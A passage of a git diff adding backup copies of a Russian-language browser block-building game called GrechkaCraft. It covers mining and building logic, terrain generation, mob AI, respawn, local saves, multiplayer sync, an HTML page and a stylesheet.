playSound('fire'); // Звук при жарке на костре + inv.meat--; inv.cooked++; + rebuildHotbar(); + return; + } + + // Сон на кровати: клик по bed + if(b && b.t==='bed' && isNight()){ + player.sleeping = true; + saveGame(); // Сохраняем при отходе ко сну + return; + } + + if(mode()==='mine'){ + if(!b) return; + if(BLOCKS[b.t].fluid || BLOCKS[b.t].decor) return; + + if(b.t==='tnt'){ activateTNT(b, 3.2); return; } // не взрывается сразу + + const removed = removeBlock(gx,gy); + if(removed){ + inv[removed.t] = (inv[removed.t]||0) + 1; + + // Отправляем изменение блока на сервер + sendBlockChange(gx, gy, removed.t, 'remove'); + + // Звуки при добыче блоков + if(removed.t === 'glass') playSound('glass1'); + else if(removed.t === 'sand') playSound('sand1'); + else if(removed.t === 'snow') playSound('snow1'); + else if(removed.t === 'stone' || removed.t.endsWith('_ore')) playSound('stone1'); + else if(removed.t === 'wood') playSound('wood1'); + else playSound('cloth1'); + + rebuildHotbar(); + } + return; + } + + if(mode()==='build'){ + if(inv[selected] <= 0) return; + if(!BLOCKS[selected]) return; + if(b) return; // занято + + // Проверяем, ставим ли лодку + if(selected === 'boat'){ + // Лодку можно ставить только на воду + const waterBelow = getBlock(gx, gy+1); + if(!waterBelow || waterBelow.t !== 'water'){ + return; + } + + // Создаём лодку + boat.x = gx * TILE; + boat.y = gy * TILE; + boat.vx = 0; + boat.vy = 0; + boat.active = true; + boat.inWater = true; + + // Сажаем игрока в лодку + player.inBoat = true; + player.x = boat.x; + player.y = boat.y; + player.vx = 0; + player.vy = 0; + + playSound('splash'); + inv[selected]--; + rebuildHotbar(); + return; + } + + // запрет ставить в игрока + const bx = gx*TILE, by = gy*TILE; + const overlap = !(bx >= player.x+player.w || bx+TILE <= player.x || by >= player.y+player.h || by+TILE <= player.y); + if(overlap) return; + + setBlock(gx,gy,selected, true); // true = блок установлен игроком + inv[selected]--; + + // Отправляем изменение блока на сервер + sendBlockChange(gx, gy, selected, 'set'); + + // Звук при строительстве + if(selected === 'stone' || selected === 'brick') playSound('stone_build'); + else if(selected === 'wood' || selected === 'planks') playSound('wood_build'); + else if(selected === 'glass') playSound('glass1'); + else if(selected === 'sand') playSound('sand1'); + else if(selected === 'snow') playSound('snow1'); + else if(selected === 'dirt' || selected === 'grass') playSound('cloth1'); + + rebuildHotbar(); + return; + } + }); + + // Генерация (по X, на всю глубину до bedrock) + const generated = new Set(); // gx already generated + function surfaceGyAt(gx){ + // базовая поверхность выше уровня воды с вариациями + "горы" + // Используем seed для детерминированной генерации + // Увеличили амплитуду и добавили больше частот для разнообразия + const n1 = Math.sin(gx*0.025 + worldSeed*0.001)*8; // крупные горы + const n2 = Math.sin(gx*0.012 + worldSeed*0.002)*12; // средние горы + const n3 = Math.sin(gx*0.006 + worldSeed*0.003)*6; // мелкие холмы + const n4 = Math.sin(gx*0.045 + worldSeed*0.004)*4; // детали + const n5 = Math.cos(gx*0.018 + worldSeed*0.005)*5; // дополнительные вариации + const h = Math.floor(SEA_GY - 8 + n1 + n2 + n3 + n4 + n5); // чем меньше gy - тем выше + return h; + } + + function genColumn(gx){ + if(generated.has(gx)) return; + generated.add(gx); + + const sgy = surfaceGyAt(gx); + + // вода (если поверхность ниже уровня моря => sgy > SEA_GY) + if(sgy > SEA_GY){ + for(let gy=SEA_GY; gy SEA_GY && gy === sgy+1 && seededRandom(gx, gy) < 0.25) t='clay'; + if(gy > sgy+6 && seededRandom(gx, gy) < 0.07) t='gravel'; + + // руды: чем глубже, тем интереснее + const depth = gy - sgy; + const r = seededRandom(gx, gy); + if(t==='stone'){ + if(r < 0.06) t='coal'; + else if(r < 0.10) t='copper_ore'; + else if(r < 0.13) t='iron_ore'; + else if(depth > 40 && r < 0.145) t='gold_ore'; + else if(depth > 70 && r < 0.152) t='diamond_ore'; + } + + setBlock(gx,gy,t); + } + + // Деревья и цветы (только на траве, и не в воде) + const top = getBlock(gx, sgy); + if(top && top.t==='grass'){ + if(seededRandom(gx, sgy-1) < 0.10){ + setBlock(gx, sgy-1,'flower'); + } + if(seededRandom(gx, sgy-2) < 0.12){ + // простое дерево + setBlock(gx, sgy-1, 'wood'); + setBlock(gx, sgy-2, 'wood'); + setBlock(gx, sgy-3, 'leaves'); + setBlock(gx-1, sgy-3,'leaves'); + setBlock(gx+1, sgy-3,'leaves'); + } + } + } + + // Перегенерация видимых чанков (используется при загрузке сохранения) + function regenerateVisibleChunks(){ + const gx0 = Math.floor(camX/TILE); + for(let gx=gx0-GEN_MARGIN_X; gx<=gx0+GEN_MARGIN_X; gx++){ + // Принудительно перегенерируем колонну + generated.delete(gx); + genColumn(gx); + } + } + + function ensureGenAroundCamera(){ + const gx0 = Math.floor(camX/TILE); + for(let gx=gx0-GEN_MARGIN_X; gx<=gx0+GEN_MARGIN_X; gx++){ + genColumn(gx); + } + } + + // Лут с дерева/листвы: дерево -> wood; листья -> leaves + // (уже в mine добавляется inv[type] автоматически) + + // Рисование костра: огонь поверх текстуры + function drawFire(wx,wy,now){ + const baseX = wx; + const baseY = wy; + const flick = 6 + (Math.sin(now/90)+1)*4; + ctx.fillStyle = 'rgba(255,140,0,0.85)'; + ctx.beginPath(); + ctx.moveTo(baseX+10, baseY+30); + ctx.lineTo(baseX+20, baseY+30-flick); + ctx.lineTo(baseX+30, baseY+30); + ctx.fill(); + + ctx.fillStyle = 'rgba(255,230,150,0.75)'; + ctx.beginPath(); + ctx.moveTo(baseX+14, baseY+30); + ctx.lineTo(baseX+20, baseY+30-(flick*0.7)); + ctx.lineTo(baseX+26, baseY+30); + ctx.fill(); + } + + // Моб AI + function mobAI(m, dt){ + updateWaterFlag(m); + + if(m.kind==='zombie'){ + // активность ночью + const night = isNight(); + if(!night){ m.hp=0; return; } + const dir = Math.sign((player.x) - m.x); + m.vx = dir * m.speed; + if(m.inWater && Math.random()<0.06) m.vy = -260; + // атака + if(Math.abs((m.x+ m.w/2) - (player.x+player.w/2)) < 28 && + Math.abs((m.y+ m.h/2) - (player.y+player.h/2)) < 40 && + player.invuln <= 0){ + player.hp -= 15; + player.invuln = 0.8; + player.vx += dir*420; + player.vy -= 260; + playSound('hit1'); // Звук при атаке зомби + } + } else if(m.kind==='creeper'){ + // активность ночью + const night = isNight(); + if(!night){ m.hp=0; return; } + const dir = Math.sign((player.x) - m.x); + const dist = Math.hypot((player.x+player.w/2) - (m.x+m.w/2), (player.y+player.h/2) - (m.y+m.h/2)); + + // Движение к игроку + m.vx = dir * m.speed; + if(m.inWater && Math.random()<0.06) m.vy = -260; + + // Взрыв если близко к игроку + if(dist < 60){ + m.fuse -= dt; + if(m.fuse <= 0){ + explodeAt(Math.floor((m.x+m.w/2)/TILE), Math.floor((m.y+m.h/2)/TILE)); + m.hp = 0; + } + } else { + // Поджигаем если очень близко + if(dist < 40){ + m.fuse = 0.5; // Быстрый взрыв + } + } + } else if(m.kind==='skeleton'){ + // активность ночью + const night = isNight(); + if(!night){ m.hp=0; return; } + const dir = Math.sign((player.x) - m.x); + const dist = Math.hypot((player.x+player.w/2) - (m.x+m.w/2), (player.y+player.h/2) - (m.y+m.h/2)); + + // Движение к игроку + m.vx = dir * m.speed; + if(m.inWater && Math.random()<0.06) m.vy = -260; + + // Стрельба стрелами с проверкой препятствий + m.shootCooldown -= dt; + if(dist < 200 && m.shootCooldown <= 0){ + m.shootCooldown = 1.5; + // Создаём стрелу (упрощённо - просто урон) + const dx = (player.x+player.w/2) - (m.x+m.w/2); + const dy = (player.y+player.h/2) - (m.y+m.h/2); + const angle = Math.atan2(dy, dx); + + // Проверяем препятствия (до 5 блоков) + let blocked = false; + const checkSteps = 5; + const stepSize = dist / checkSteps; + for(let i = 1; i <= checkSteps; i++){ + const checkX = m.x + m.w/2 + Math.cos(angle) * stepSize * i; + const checkY = m.y + m.h/2 + Math.sin(angle) * stepSize * i; + const checkGX = Math.floor(checkX / TILE); + const checkGY = Math.floor(checkY / TILE); + if(isSolid(checkGX, checkGY)){ + blocked = true; + break; + } + } + + // Урон игроку если попали и нет препятствий + if(!blocked && dist < 150 && player.invuln <= 0){ + player.hp -= 8; + player.invuln = 0.5; + player.vx += Math.cos(angle) * 300; + player.vy -= 200; + playSound('hit1'); + } + } + } else { + // животные + m.aiT -= dt; + if(m.aiT <= 0){ + m.aiT = 1.8 + Math.random()*2.5; + m.dir = Math.random()<0.5 ? -1 : 1; + if(Math.random()<0.25) m.dir = 0; + } + m.vx = m.dir * (m.kind==='chicken' ? 55 : 40); + if(m.inWater) m.vy = -120; + } + + // физика моба + const g = m.inWater ? GRAV_WATER : GRAV; + m.vy += g*dt; + + m.y += m.vy*dt; m.grounded=false; resolveY(m); + m.x += m.vx*dt; resolveX(m); + } + + function isNight(){ + // Автоматический цикл: ночь когда worldTime > 0.5 + return worldTime > 0.5; + } + + // Respawn + document.getElementById('respawnBtn').onclick = async () => { + playSound('click'); // Звук клика по кнопке + + console.log('=== RESPAWN CLICKED ==='); + console.log('isMultiplayer:', isMultiplayer); + console.log('otherPlayers.size:', otherPlayers.size); + console.log('player.hp before respawn:', player.hp); + + // В мультиплеере не загружаем сохранение, а возрождаемся в начальной точке + if (isMultiplayer && otherPlayers.size > 0) { + console.log('Мультиплеер режим - возрождение в начальной точке'); + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.vx = player.vy = 0; + player.invuln = 0; + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.fallStartY = player.y; + console.log('Возрождение в начальной точке, HP:', player.hp); + } else { + console.log('Одиночный режим - загружаем последнее сохранение'); + // Одиночный режим - загружаем последнее сохранение + const loadedSave = await loadGame(); + if(loadedSave){ + await applySave(loadedSave); + console.log('Загружено последнее сохранение после смерти, final HP:', player.hp); + } else { + // Если сохранения нет, возрождаемся в начальной точке + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.vx = player.vy = 0; + player.invuln = 0; + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.fallStartY = player.y; + console.log('Возрождение в начальной точке, HP:', player.hp); + } + } + + console.log('player.hp after respawn logic:', player.hp); + console.log('Hiding death screen...'); + deathEl.style.display='none'; + console.log('=== RESPAWN END ==='); + }; + + // Resize + function resize(){ + W = gameEl.clientWidth; + H = gameEl.clientHeight; + canvas.width = W*dpr; + canvas.height = H*dpr; + lightC.width = W*dpr; + lightC.height = H*dpr; + ctx.setTransform(dpr,0,0,dpr,0,0); + } + window.addEventListener('resize', resize); + + // init + resize(); + rebuildHotbar(); + + // Инициализируем и загружаем сохранение + initDB().then(async () => { + // Пытаемся загрузить сохранённую игру + const loadedSave = await loadGame(); + if(loadedSave){ + await applySave(loadedSave); + console.log('Загружено сохранение, HP:', player.hp); + + // Проверяем HP после загрузки - если <= 0, возрождаемся + if (player.hp <= 0) { + console.log('WARNING: HP <= 0 после загрузки, возрождаемся'); + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.vx = player.vy = 0; + player.invuln = 0; + player.fallStartY = player.y; + } + } else { + console.log('Сохранение не найдено, начинаем новую игру'); + + // Инициализируем игрока для новой игры + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.vx = player.vy = 0; + player.invuln = 0; + + // старт — на поверхности (ровно на 1 тайл выше поверхности) + const startGX = 6; + genColumn(startGX); + const surfaceY = surfaceGyAt(startGX); + player.y = (surfaceY - 1) * TILE; + player.x = startGX * TILE; + player.fallStartY = player.y; + + // Обновляем spawnPoint, чтобы возрождение было на поверхности + spawnPoint.x = player.x; + spawnPoint.y = player.y; + + console.log('Новая игра: startGX=', startGX, 'surfaceY=', surfaceY, 'player.y=', player.y, 'player.hp=', player.hp); + console.log('spawnPoint обновлён: x=', spawnPoint.x, 'y=', spawnPoint.y); + + // Генерируем карту вокруг стартовой позиции при инициализации + for(let gx = startGX - 50; gx <= startGX + 50; gx++){ + genColumn(gx); + } + } + + // Автосейв при скрытии страницы (защита от потери прогресса) + document.addEventListener('visibilitychange', () => { + if(document.hidden){ + saveGame(); + } + }); + + // Автосейв перед закрытием страницы (защита от потери прогресса) + window.addEventListener('beforeunload', () => { + saveGame(); + }); + }).catch(err => { + console.error('Ошибка инициализации:', err); + // При ошибке начинаем новую игру + const startGX = 6; + genColumn(startGX); + player.y = (surfaceGyAt(startGX)-1)*TILE; + player.fallStartY = player.y; + + for(let gx = startGX - 50; gx <= startGX + 50; gx++){ + genColumn(gx); + } + }); + + // main loop + let last = performance.now(); + let prevJump = false; + function loop(now){ + const dt = Math.min(0.05, (now-last)/1000); + last = now; + + const jumpPressed = inp.j && !prevJump; + prevJump = inp.j; + + // Ускорение времени во время сна + if(player.sleeping && isNight()){ + worldTime += dt * 8 / DAY_LEN; // В 8 раз быстрее + // Восстанавливаем здоровье во время сна + player.hp = Math.min(100, player.hp + dt * 20); + // Автоматическое пробуждение когда наступает день + if(!isNight()){ + player.sleeping = false; + } + } else { + worldTime += dt / DAY_LEN; + } + if(worldTime >= 1) worldTime -= 1; + + // камера следует за игроком по X/Y + camX = Math.floor((player.x + player.w/2) - W/2); + camY = Math.floor((player.y + player.h/2) - H/2); + + ensureGenAroundCamera(); + + // clouds parallax + for(const c of clouds){ + c.x -= c.s * dt; + if(c.x + c.w < camX - 400) c.x = camX + W + Math.random()*700; + } + + // player + updateWaterFlag(player); + + // кислород/утопление: тратим O2 только если голова под водой, иначе восстанавливаем [web:223] + if(player.headInWater){ + player.o2 = Math.max(0, player.o2 - 6*dt); // замедлил в 3.7 раза + if(player.o2 === 0){ + player.hp -= 4*dt; // уменьшил урон от утопления + } + } else { + player.o2 = Math.min(100, player.o2 + 10*dt); // замедлил восстановление в 4 раза + } + + // голод убывает, но HP не отнимает (как просили) + player.hunger = Math.max(0, player.hunger - dt*0.2); // замедлил в 4 раза + + // Игрок не может двигаться во время сна + if(player.sleeping){ + player.vx = 0; + player.vy = 0; + } else { + const dir = (inp.r?1:0) - (inp.l?1:0); + if(dir) player.vx = dir*MOVE; + else player.vx *= 0.82; + } + + // Звук шагов при движении по земле + if(player.grounded && !player.inWater && Math.abs(player.vx) > 50){ + const stepInterval = 0.35; // Интервал между шагами в секундах + if(now/1000 - player.lastStepTime > stepInterval){ + playSound('step'); + player.lastStepTime = now/1000; + } + } + + // прыжок/плавание (новая логика) + if(player.inBoat){ + // Игрок в лодке - лодка следует за игроком + const dir = (inp.r?1:0) - (inp.l?1:0); + if(dir) boat.vx = dir * MOVE; + else boat.vx *= 0.95; + + // Лодка плавает на воде + boat.vy = 0; + + // Игрок следует за лодкой (сидит внутри неё) + player.x = boat.x + 2; // Игрок по центру лодки + player.y = boat.y - 4; // Игрок выше лодки (сидит внутри) + player.vx = boat.vx; + player.vy = boat.vy; + player.grounded = true; + player.inWater = false; // Игрок не в воде когда в лодке + + // Прыжок из лодки (высадка) + if(jumpPressed){ + // Возвращаем лодку в инвентарь + inv.boat = (inv.boat || 0) + 1; + + player.inBoat = false; + boat.active = false; + player.y += TILE; // Прыгаем из лодки + player.vy = -JUMP * 0.5; + playSound('splash'); + } + + } else if(player.inWater){ + // сопротивление в воде + player.vx *= 0.90; + player.vy *= 0.92; + + // Если не нажимаем прыжок - тонем (гравитация в воде) + if(!jumpPressed && !inp.j){ + // Применяем гравитацию в воде - игрок тонет + player.vy += GRAV_WATER * dt; + } else { + // Если нажимаем прыжок - поднимаемся на поверхность + if(jumpPressed){ + player.vy = Math.min(player.vy, -520); // рывок вверх + } else if(inp.j){ + // если держим — мягкое всплытие + player.vy = Math.min(player.vy, -260); + } + } + + } else { + // обычный прыжок (только по нажатию) + if(jumpPressed && player.grounded && !player.sleeping){ + player.vy = -JUMP; + player.grounded = false; + player.fallStartY = player.y; + } + } + + // Гравитация применяется только вне воды и вне лодки + if(!player.inWater && !player.inBoat){ + player.vy += GRAV*dt; + } + + // Обновляем позицию лодки + if(boat.active){ + boat.x += boat.vx * dt; + boat.y += boat.vy * dt; + + // Лодка не выходит за пределы воды + const boatGX = Math.floor(boat.x / TILE); + const boatGY = Math.floor(boat.y / TILE); + const below = getBlock(boatGX, boatGY + 1); + + if(!below || below.t !== 'water'){ + // Если лодка вышла из воды - выкидываем игрока + inv.boat = (inv.boat || 0) + 1; + player.inBoat = false; + boat.active = false; + player.y += TILE; + player.vy = -200; + playSound('splash'); + } + } + + // Проверяем, не доплыл ли игрок из лодки + if(player.inBoat && !boat.active){ + inv.boat = (inv.boat || 0) + 1; + player.inBoat = false; + player.y += TILE; + player.vy = -200; + playSound('splash'); + } + + player.y += player.vy*dt; + resolveY(player); + player.x += player.vx*dt; resolveX(player); + + // Отправляем позицию на сервер (мультиплеер) + sendPlayerPosition(); + + // Обновляем физику воды + updateWaterPhysics(dt); + + player.invuln = Math.max(0, player.invuln - dt); + + // TNT tick + for(const key of Array.from(activeTNT)){ + const b = grid.get(key); + if(!b || b.dead){ activeTNT.delete(key); continue; } + b.fuse -= dt; + if(b.fuse <= 0){ + explodeAt(b.gx,b.gy); + } + } + + // mobs spawn (с обеих сторон камеры) + spawnT += dt; + if(spawnT > 1.8 && mobs.length < 30){ + spawnT = 0; + + // Выбираем сторону спавна (левая или правая) + const spawnLeft = Math.random() < 0.5; + const gx = spawnLeft + ? Math.floor((camX - 200)/TILE) + : Math.floor((camX + W + 200)/TILE); + + genColumn(gx); + const sgy = surfaceGyAt(gx); + const wx = gx*TILE + 4; + const wy = (sgy-2)*TILE; + + // не спавнить в воде + const top = getBlock(gx, sgy); + if(top && top.t==='water') { + // skip + } else { + if(isNight()){ + // Ночью спавним больше враждебных мобов + const rand = Math.random(); + if(rand < 0.35){ + mobs.push(new Zombie(wx, wy)); + } else if(rand < 0.55){ + mobs.push(new Creeper(wx, wy)); + } else { + mobs.push(new Skeleton(wx, wy)); + } + } else { + // Днём только животные + mobs.push(Math.random()<0.5 ? new Pig(wx, wy) : new Chicken(wx, wy)); + } + } + } + + // mobs update + for(let i=mobs.length-1;i>=0;i--){ + const m = mobs[i]; + mobAI(m, dt); + if(m.hp<=0) mobs.splice(i,1); + } + + // particles + for(let i=parts.length-1;i>=0;i--){ + const p = parts[i]; + p.t -= dt; + p.x += p.vx*dt; + p.y += p.vy*dt; + p.vy += GRAV*dt; + if(p.t <= 0) parts.splice(i,1); + } + + // death + if(player.hp <= 0){ + deathEl.style.display='flex'; + } else if(deathEl.style.display === 'flex') { + // Если HP > 0 но экран смерти всё ещё показан - скрываем его + deathEl.style.display='none'; + } + + // render + const night = isNight(); + + // sky + ctx.fillStyle = night ? '#070816' : '#87CEEB'; + ctx.fillRect(0,0,W,H); + + // clouds (parallax x/y) + ctx.save(); + ctx.translate(-camX*0.5, -camY*0.15); + ctx.fillStyle = 'rgba(255,255,255,0.65)'; + for(const c of clouds){ + ctx.fillRect(c.x, c.y, c.w, 26); + ctx.fillRect(c.x+20, c.y-10, c.w*0.6, 22); + } + ctx.restore(); + + // world + ctx.save(); + ctx.translate(-camX, -camY); + + const minGX = Math.floor(camX/TILE)-2; + const maxGX = Math.floor((camX+W)/TILE)+2; + const minGY = Math.floor(camY/TILE)-6; + const maxGY = Math.floor((camY+H)/TILE)+6; + + // draw blocks (по массиву, но фильтруем диапазоном) + for(const b of blocks){ + if(b.dead) continue; + if(b.gx < minGX || b.gx > maxGX || b.gy < minGY || b.gy > maxGY) continue; + + const def = BLOCKS[b.t]; + if(def.alpha){ + ctx.save(); + ctx.globalAlpha = def.alpha; + ctx.drawImage(tex[b.t], b.gx*TILE, b.gy*TILE, TILE, TILE); + ctx.restore(); + } else { + ctx.drawImage(tex[b.t], b.gx*TILE, b.gy*TILE, TILE, TILE); + } + + // TNT мигает, если активирован + if(b.t==='tnt' && b.active && Math.sin(now/60)>0){ + ctx.fillStyle='rgba(255,255,255,0.45)'; + ctx.fillRect(b.gx*TILE, b.gy*TILE, TILE, TILE); + } + + // огонь костра + if(b.t==='campfire'){ + drawFire(b.gx*TILE, b.gy*TILE, now); + } + } + + // mobs + for(const m of mobs){ + if(m.kind==='zombie'){ + ctx.fillStyle = '#2ecc71'; + ctx.fillRect(m.x, m.y, m.w, m.h); + ctx.fillStyle = '#c0392b'; + ctx.fillRect(m.x+6, m.y+12, 6,6); + ctx.fillRect(m.x+22, m.y+12, 6,6); + } else if(m.kind==='pig'){ + ctx.fillStyle = '#ffb6c1'; + ctx.fillRect(m.x, m.y, m.w, m.h); + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+22, m.y+5, 3,3); + ctx.fillStyle = '#ff69b4'; + ctx.fillRect(m.x+28, m.y+12, 6,6); + } else if(m.kind==='chicken'){ + // chicken + ctx.fillStyle = '#ecf0f1'; + ctx.fillRect(m.x, m.y, m.w, m.h); + ctx.fillStyle = '#f39c12'; + ctx.fillRect(m.x+18, m.y+10, 6,4); + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+8, m.y+6, 3,3); + } else if(m.kind==='creeper'){ + // creeper + ctx.fillStyle = '#4CAF50'; + ctx.fillRect(m.x, m.y, m.w, m.h); + // Глаза + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+8, m.y+8, 4,4); + ctx.fillRect(m.x+22, m.y+8, 4,4); + // Рот + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+12, m.y+20, 10,4); + // Ноги + ctx.fillStyle = '#4CAF50'; + ctx.fillRect(m.x+4, m.y+30, 6,20); + ctx.fillRect(m.x+24, m.y+30, 6,20); + } else if(m.kind==='skeleton'){ + // skeleton - детализированный + // Тело + ctx.fillStyle = '#ECEFF1'; + ctx.fillRect(m.x+10, m.y+20, 14, 12); + // Череп + ctx.fillRect(m.x+8, m.y+0, 18, 18); + // Глазницы + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+10, m.y+6, 4,4); + ctx.fillRect(m.x+20, m.y+6, 4,4); + // Нос + ctx.fillRect(m.x+15, m.y+12, 4,2); + // Руки + ctx.fillStyle = '#ECEFF1'; + ctx.fillRect(m.x+2, m.y+20, 6,14); + ctx.fillRect(m.x+26, m.y+20, 6,14); + // Ноги + ctx.fillRect(m.x+10, m.y+32, 6, 18); + ctx.fillRect(m.x+18, m.y+32, 6, 18); + } + } + + // boat (рисуем первой, чтобы игрок был внутри неё) + if(boat.active){ + ctx.drawImage(tex['boat'], boat.x - (TILE-boat.w)/2, boat.y - (TILE-boat.h)/2, TILE, TILE); + } + + // other players (multiplayer) + for(const [socketId, p] of otherPlayers){ + if(heroImg.complete){ + ctx.drawImage(heroImg, p.x - (TILE-player.w)/2, p.y - (TILE-player.h)/2, TILE, TILE); + } else { + ctx.fillStyle = p.color; + ctx.fillRect(p.x, p.y, 34, 34); + } + // Имя игрока (мелко над персонажем) + ctx.fillStyle = '#fff'; + ctx.font = '12px system-ui'; + ctx.textAlign = 'center'; + ctx.fillText(p.name, p.x + 17, p.y - 8); + } + + // player + if(heroImg.complete){ + ctx.drawImage(heroImg, player.x - (TILE-player.w)/2, player.y - (TILE-player.h)/2, TILE, TILE); + } else { + ctx.fillStyle='#fff'; + ctx.fillRect(player.x, player.y, player.w, player.h); + } + + // particles + for(const p of parts){ + ctx.fillStyle = p.c; + ctx.fillRect(p.x-2, p.y-2, 4, 4); + } + + // Стрелы скелета + for(const m of mobs){ + if(m.kind==='skeleton' && m.shootCooldown > 0.5){ + // Рисуем стрелу + const arrowX = m.x + m.w/2; + const arrowY = m.y + 15; + const targetX = player.x + player.w/2; + const targetY = player.y + player.h/2; + const angle = Math.atan2(targetY - arrowY, targetX - arrowX); + const speed = 400; + + // Проверяем, попала ли стрела + const dx = targetX - arrowX; + const dy = targetY - arrowY; + const dist = Math.hypot(dx, dy); + + // Рисуем стрелу + ctx.save(); + ctx.translate(arrowX, arrowY); + ctx.rotate(angle); + ctx.fillStyle = '#ECEFF1'; + ctx.fillRect(0, -1, 16, 2); + ctx.restore(); + + // Урон игроку если попали + if(dist < 150 && player.invuln <= 0){ + player.hp -= 8; + player.invuln = 0.5; + player.vx += Math.cos(angle) * 300; + player.vy -= 200; + playSound('hit1'); + } + } + } + + // build ghost + if(mode()==='build' && mouse.x!==null && !craftOpen && player.hp>0){ + const wx = mouse.x + camX; + const wy = mouse.y + camY; + const gx = Math.floor(wx/TILE); + const gy = Math.floor(wy/TILE); + ctx.strokeStyle = 'rgba(255,255,255,0.9)'; + ctx.lineWidth = 2; + ctx.strokeRect(gx*TILE, gy*TILE, TILE, TILE); + } + + ctx.restore(); + + // lighting overlay at night + if(night){ + // Рисуем полупрозрачный тёмный оверлей + ctx.save(); + ctx.fillStyle = 'rgba(0,0,0,0.50)'; + ctx.fillRect(0, 0, W, H); + ctx.restore(); + + // Освещение от факелов и костров + ctx.save(); + ctx.globalCompositeOperation = 'lighter'; + + // Функция для рисования света + function drawLight(x, y, radius, intensity) { + const gradient = ctx.createRadialGradient(x, y, 0, x, y, radius); + gradient.addColorStop(0, `rgba(255, 255, 200, ${intensity})`); + gradient.addColorStop(1, `rgba(255, 255, 200, 0)`); + ctx.fillStyle = gradient; + ctx.beginPath(); + ctx.arc(x, y, radius, 0, Math.PI * 2); + ctx.fill(); + } + + // Освещение от факелов (1/3 яркости) + for(const b of blocks){ + if(b.dead) continue; + if(b.gx < minGX || b.gx > maxGX || b.gy < minGY || b.gy > maxGY) continue; + const def = BLOCKS[b.t]; + if(def.lightRadius){ + const wx = b.gx*TILE + TILE/2 - camX; + const wy = b.gy*TILE + TILE/2 - camY; + drawLight(wx, wy, def.lightRadius, 0.33); + } + } + + ctx.restore(); + } + + // UI tick + if(Math.random()<0.25){ + hpEl.textContent = Math.max(0, Math.ceil(player.hp)); + foodEl.textContent = Math.ceil(player.hunger); + document.getElementById('o2').textContent = Math.ceil(player.o2); + sxEl.textContent = Math.floor(player.x/TILE); + syEl.textContent = Math.floor(player.y/TILE); + todEl.textContent = night ? 'Ночь' : 'День'; + worldIdEl.textContent = worldId; + if(isMultiplayer){ + document.getElementById('multiplayerStatus').style.display = 'flex'; + playerCountEl.textContent = otherPlayers.size + 1; // +1 = мы сами + } else { + document.getElementById('multiplayerStatus').style.display = 'none'; + } + } + + // Индикатор сна + if(player.sleeping){ + ctx.fillStyle = 'rgba(0,0,0,0.7)'; + ctx.fillRect(0, 0, W, H); + ctx.fillStyle = '#fff'; + ctx.font = 'bold 32px system-ui'; + ctx.textAlign = 'center'; + ctx.fillText('💤 Спим...', W/2, H/2); + ctx.font = '18px system-ui'; + ctx.fillText('Нажмите на кровать чтобы проснуться', W/2, H/2 + 40); + } + + requestAnimationFrame(loop); + } + + requestAnimationFrame(loop); +})(); diff --git a/backup/20260103_082922/backup/20260103_082922/index.html b/backup/20260103_082922/backup/20260103_082922/index.html new file mode 100644 index 0000000..3313464 --- /dev/null +++ b/backup/20260103_082922/backup/20260103_082922/index.html @@ -0,0 +1,79 @@ + + + + + +GrechkaCraft: Multiplayer + + + + + + +
+ + +
+
+
❤️ 100   🍗 100
+
🫁 100
+
📍 X:0 Y:0
+
🕒 День
+
🌐 default
+ +
+ +
🏃
+
💾
+
🔨
+
🔄
+ +
+
+
Крафт
+ +
+
+
+ +
+
+
Инвентарь
+ +
+
+
+ +
+
ВЫ ПОГИБЛИ
+ +
+ +
+
🎒
+
+ + + +
💬
+
+ +
+
+ +
+
+ + + + diff --git a/backup/20260103_082922/backup/20260103_082922/style.css b/backup/20260103_082922/backup/20260103_082922/style.css new file mode 100644 index 0000000..af8325b --- /dev/null +++ b/backup/20260103_082922/backup/20260103_082922/style.css @@ -0,0 +1,72 @@ +/* Minegrechka Game Styles - v1.2 */ +html, body { margin:0; padding:0; width:100%; height:100%; overflow:hidden; background:#111; font-family: system-ui, sans-serif; user-select:none; -webkit-user-select:none; touch-action:none; } +#game { position:absolute; top:0; left:0; right:0; bottom:140px; background:#87CEEB; overflow:hidden; } +canvas { display:block; width:100%; height:100%; image-rendering:pixelated; } +#controls { position:absolute; left:0; right:0; bottom:0; height:140px; background:#222; border-top:4px solid #444; z-index:10; } + +.ui { position:absolute; inset:0; pointer-events:none; z-index:20; } +.pe { pointer-events:auto; } + +#stats { position:absolute; left:10px; top:10px; color:#fff; font-weight:800; font-size:14px; + background: rgba(0,0,0,0.55); padding:8px; border-radius:10px; text-shadow:1px 1px 0 #000; } +#stats .row{ display:flex; gap:10px; align-items:center; } + +.rbtn { position:absolute; right:10px; width:52px; height:52px; border-radius:12px; + display:flex; align-items:center; justify-content:center; border:2px solid rgba(255,255,255,0.9); + font-size:24px; cursor:pointer; pointer-events:auto; box-shadow:0 4px 0 rgba(0,0,0,0.5); } +.rbtn:active { transform: translateY(4px); box-shadow:none; } +#modeBtn { top:10px; background:#f39c12; } +#saveBtn { top:10px; right:70px !important; background:#27ae60; } +#resetBtn { top:10px; right:130px !important; background:#e74c3c; } +#craftBtn { top:74px; right:10px !important; background:#9b59b6; } +#chatToggle { top:10px; right:190px !important; background:#9b59b6; } + +#hotbar { position:absolute; left:50%; transform:translateX(-50%); bottom:10px; display:flex; gap:6px; + background: rgba(0,0,0,0.60); padding:6px; border-radius:12px; pointer-events:auto; + overflow-x: auto; overflow-y: hidden; max-width: 80%; } +.slot { width:38px; height:38px; border:2px solid rgba(255,255,255,0.22); border-radius:10px; + position:relative; overflow:hidden; cursor:pointer; background: rgba(255,255,255,0.07); + display:flex; align-items:center; justify-content:center; font-size:18px; } +.slot.sel { border-color:#f1c40f; box-shadow: 0 0 0 2px rgba(241,196,15,0.18) inset; } +.count { position:absolute; right:3px; bottom:1px; font-size:10px; color:#fff; font-weight:900; text-shadow:1px 1px 0 #000; } + +/* Craft modal */ +#craftPanel { display:none; position:absolute; left:14px; right:14px; top:14px; bottom:14px; + background: rgba(10,10,12,0.92); border:2px solid rgba(255,255,255,0.85); border-radius:14px; + pointer-events:auto; padding:12px; overflow:auto; } + +/* Inventory modal */ 